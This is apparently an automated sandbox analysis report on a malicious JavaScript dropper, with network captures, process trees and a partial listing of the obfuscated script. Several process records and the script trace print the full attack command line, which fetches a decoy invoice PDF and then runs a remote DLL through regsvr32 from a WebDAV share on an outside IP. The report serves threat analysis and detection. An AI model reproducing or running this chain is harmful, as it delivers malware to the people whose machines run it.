Jan 10, 2025 20:18:25.387185097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387202978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387212992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387218952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387236118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387249947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.387263060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.387279987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408525944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408546925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408564091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408576965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408581018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408597946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408607960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408612967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408629894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408637047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408679962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408886909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408901930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408926010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408942938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408951044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.408960104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408976078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.408987045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.409018040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.418678999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.563780069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:26.013379097 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:26.226777077 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:26.229825020 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:26.266308069 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:26.271068096 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:27.030966043 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:27.082981110 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:28.173383951 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:18:34.623011112 CET	60734	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:18:34.623011112 CET	192.168.2.7	1.1.1.1	0xd506	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:18:34.630415916 CET	1.1.1.1	192.168.2.7	0xd506	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:18:35.341748953 CET	1.1.1.1	192.168.2.7	0x33e2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:18:35.341748953 CET	1.1.1.1	192.168.2.7	0x33e2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	4852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:18:23.791162968 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:18:24.623003006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:18:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:18:24.623025894 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:18:24.623265028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:18:24.623308897 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 20:18:24.623328924 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 20:18:24.623485088 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:18:24.623496056 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:18:24.623509884 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:18:24.623522997 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 20:18:24.623538017 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 20:18:24.627924919 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	2064	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:18:26.266308069 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:18:27.030966043 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:18:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	14:18:20
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js"
Imagebase:	0x7ff6a8930000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:18:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Imagebase:	0x7ff6a9610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:18:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:18:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:18:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	14:18:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a9610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:18:25
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78f3b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:18:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:18:26
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:18:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,14432181683164921515,984702019013668199,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rnfjjpb() {	rnfjjpb() ➔ undefined
1	waihyh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fvkof = this[lobkcxlov + gjsbvahyb + bglryvf + meilu + wurugkkoq + sqlkl + duaayc + raclwty] ( this[xvndhluw + lqnmltvro + qcmympv + bglryvf + neubtzvkz + lobkcxlov + raclwty][nerfy + bglryvf + wurugkkoq + gjsbvahyb + raclwty + wurugkkoq + jifbryxyl + bcnyvwk + ozcfubft + wurugkkoq + qcmympv + raclwty] ( xvndhluw + lqnmltvro + qcmympv + bglryvf + neubtzvkz + lobkcxlov + raclwty + sggmn + lqnmltvro + nkxlqxwdw + wurugkkoq + pghrn + pghrn ) [thkuarg + wurugkkoq + tqeznxrze + thkuarg + wurugkkoq + gjsbvahyb + cwwqym] ( wfqwfs + tizijfe + pjnfxggr + slmdcjrfy + gdzuexdmv + nerfy + shcvhpmni + thkuarg + thkuarg + pjnfxggr + csjntgiqy + ljfyo + gdzuexdmv + shcvhpmni + lqnmltvro + pjnfxggr + thkuarg + ihauzoex + nerfy + azjttai + duaayc + raclwty + bglryvf + azjttai + pghrn + firfwam + kqnptixl + gjsbvahyb + duaayc + wurugkkoq + pghrn + ihauzoex + sqlkl + duaayc + raclwty + wurugkkoq + bglryvf + duaayc + gjsbvahyb + raclwty + neubtzvkz + azjttai + duaayc + gjsbvahyb + pghrn + ihauzoex + mwmrm + azjttai + qcmympv + gjsbvahyb + pghrn + wurugkkoq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bplpyow = 0 ; bplpyow < waihyh[pghrn + wurugkkoq + duaayc + tqeznxrze + raclwty + nkxlqxwdw] ; ++ bplpyow )
4	{
5	if ( fvkof == waihyh[bplpyow] )
6	{
7	fvkof = true;
8	break ;
9	}
10	}
11	if ( fvkof !== true )
12	this[xvndhluw + lqnmltvro + qcmympv + bglryvf + neubtzvkz + lobkcxlov + raclwty][edyeokw + ovzxygik + neubtzvkz + raclwty] ( );
13	this[xvndhluw + lqnmltvro + qcmympv + bglryvf + neubtzvkz + lobkcxlov + raclwty][nerfy + bglryvf + wurugkkoq + gjsbvahyb + raclwty + wurugkkoq + jifbryxyl + bcnyvwk + ozcfubft + wurugkkoq + qcmympv + raclwty] ( xvndhluw + lqnmltvro + qcmympv + bglryvf + neubtzvkz + lobkcxlov + raclwty + sggmn + lqnmltvro + nkxlqxwdw + wurugkkoq + pghrn + pghrn ) [bglryvf + ovzxygik + duaayc] ( qcmympv + bknljvbw + cwwqym + firfwam + vkaacjl + qcmympv + firfwam + lobkcxlov + azjttai + mhyoe + wurugkkoq + bglryvf + meilu + nkxlqxwdw + wurugkkoq + pghrn + pghrn + sggmn + wurugkkoq + sjbjxu + wurugkkoq + firfwam + immjnnjae + nerfy + azjttai + bknljvbw + bknljvbw + gjsbvahyb + duaayc + cwwqym + firfwam + yqzffw + sqlkl + duaayc + iwesj + azjttai + unhycg + wurugkkoq + immjnnjae + xvndhluw + wurugkkoq + bcnyvwk + thkuarg + wurugkkoq + vkykcuex + ovzxygik + wurugkkoq + meilu + raclwty + firfwam + immjnnjae + jifbryxyl + ovzxygik + raclwty + gzvgvmty + neubtzvkz + pghrn + wurugkkoq + firfwam + mgaff + raclwty + wurugkkoq + bknljvbw + lobkcxlov + mgaff + ihauzoex + neubtzvkz + duaayc + iwesj + azjttai + neubtzvkz + qcmympv + wurugkkoq + sggmn + lobkcxlov + cwwqym + gbephfund + firfwam + nkxlqxwdw + raclwty + raclwty + lobkcxlov + oqijf + vkaacjl + vkaacjl + skjhrr + aeajzhnf + lesxxfnl + sggmn + skjhrr + rvroprwgg + lesxxfnl + sggmn + skjhrr + sggmn + dlebye + fpecim + zyhje + vkaacjl + neubtzvkz + duaayc + iwesj + azjttai + neubtzvkz + qcmympv + wurugkkoq + sggmn + lobkcxlov + nkxlqxwdw + lobkcxlov + yqzffw + ljnvvs + ljnvvs + meilu + raclwty + gjsbvahyb + bglryvf + raclwty + firfwam + mgaff + raclwty + wurugkkoq + bknljvbw + lobkcxlov + mgaff + ihauzoex + neubtzvkz + duaayc + iwesj + azjttai + neubtzvkz + qcmympv + wurugkkoq + sggmn + lobkcxlov + cwwqym + gbephfund + ljnvvs + ljnvvs + qcmympv + bknljvbw + cwwqym + firfwam + vkaacjl + qcmympv + firfwam + duaayc + wurugkkoq + raclwty + firfwam + ovzxygik + meilu + wurugkkoq + firfwam + ihauzoex + ihauzoex + skjhrr + aeajzhnf + lesxxfnl + sggmn + skjhrr + rvroprwgg + lesxxfnl + sggmn + skjhrr + sggmn + dlebye + fpecim + zyhje + qgmcnabq + rrixfbuqg + rrixfbuqg + rrixfbuqg + rrixfbuqg + ihauzoex + cwwqym + gjsbvahyb + iwesj + mhyoe + mhyoe + mhyoe + bglryvf + azjttai + azjttai + raclwty + ihauzoex + ljnvvs + ljnvvs + qcmympv + bknljvbw + cwwqym + firfwam + vkaacjl + qcmympv + firfwam + bglryvf + wurugkkoq + tqeznxrze + meilu + iwesj + bglryvf + lesxxfnl + dlebye + firfwam + vkaacjl + meilu + firfwam + ihauzoex + ihauzoex + skjhrr + aeajzhnf + lesxxfnl + sggmn + skjhrr + rvroprwgg + lesxxfnl + sggmn + skjhrr + sggmn + dlebye + fpecim + zyhje + qgmcnabq + rrixfbuqg + rrixfbuqg + rrixfbuqg + rrixfbuqg + ihauzoex + cwwqym + gjsbvahyb + iwesj + mhyoe + mhyoe + mhyoe + bglryvf + azjttai + azjttai + raclwty + ihauzoex + fvostkw + aeajzhnf + fvostkw + lesxxfnl + dlebye + rciauem + rrixfbuqg + aeajzhnf + zyhje + dlebye + aeajzhnf + zyhje + fvostkw + fpecim + sggmn + cwwqym + pghrn + pghrn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll",0,false) ➔ 0
14	}
15	rvroprwgg = "i";
16	rvroprwgg = "x";
17	rvroprwgg = "c";
18	rvroprwgg = "E";
19	rvroprwgg = "t";
20	rvroprwgg = "K";
21	rvroprwgg = "j";
22	rvroprwgg = "4";
23	bglryvf = "L";
24	bglryvf = "T";
25	bglryvf = "s";
26	bglryvf = "E";
27	bglryvf = "U";
28	bglryvf = "E";
29	bglryvf = "U";
30	bglryvf = "m";
31	bglryvf = "J";
32	bglryvf = "Q";
33	bglryvf = "O";
34	bglryvf = "n";
35	bglryvf = "d";
36	bglryvf = "P";
37	bglryvf = "W";
38	bglryvf = "w";
39	bglryvf = "l";
40	bglryvf = "r";
41	azjttai = "c";
42	azjttai = "n";
43	azjttai = "J";
44	azjttai = "P";
45	azjttai = "w";
46	azjttai = "t";
47	azjttai = "T";
48	azjttai = "F";
49	azjttai = "g";
50	azjttai = "A";
51	azjttai = "d";
52	azjttai = "I";
53	azjttai = "O";
54	azjttai = "v";
55	azjttai = "h";
56	azjttai = "G";
57	azjttai = "L";
58	azjttai = "o";
59	azjttai = "B";
60	azjttai = "Q";
61	azjttai = "e";
62	azjttai = "z";
63	azjttai = "P";
64	azjttai = "e";
65	azjttai = "L";
66	azjttai = "M";
67	azjttai = "m";
68	azjttai = "T";
69	azjttai = "p";
70	azjttai = "R";
71	azjttai = "C";
72	azjttai = "K";
73	azjttai = "y";
74	azjttai = "a";
75	azjttai = "s";
76	azjttai = "S";
77	azjttai = "q";
78	azjttai = "z";
79	azjttai = "B";
80	azjttai = "J";
81	azjttai = "o";
82	vkaacjl = "t";
83	vkaacjl = "G";
84	vkaacjl = "B";
85	vkaacjl = "d";
86	vkaacjl = "r";
87	vkaacjl = "j";
88	vkaacjl = "m";
89	vkaacjl = "z";
90	vkaacjl = "h";
91	vkaacjl = "C";
92	vkaacjl = "i";
93	vkaacjl = "K";
94	vkaacjl = "p";
95	vkaacjl = "C";
96	vkaacjl = "D";
97	vkaacjl = "j";
98	vkaacjl = "B";
99	vkaacjl = "/";
100	raclwty = "r";
101	raclwty = "Y";
102	raclwty = "l";
103	raclwty = "M";
104	raclwty = "N";
105	raclwty = "p";
106	raclwty = "Z";
107	raclwty = "g";
108	raclwty = "n";
109	raclwty = "S";
110	raclwty = "C";
111	raclwty = "K";
112	raclwty = "M";
113	raclwty = "t";
114	rrixfbuqg = "E";
115	rrixfbuqg = "i";
116	rrixfbuqg = "T";
117	rrixfbuqg = "L";
118	rrixfbuqg = "p";
119	rrixfbuqg = "b";
120	rrixfbuqg = "K";
121	rrixfbuqg = "t";
122	rrixfbuqg = "Z";
123	rrixfbuqg = "L";
124	rrixfbuqg = "k";
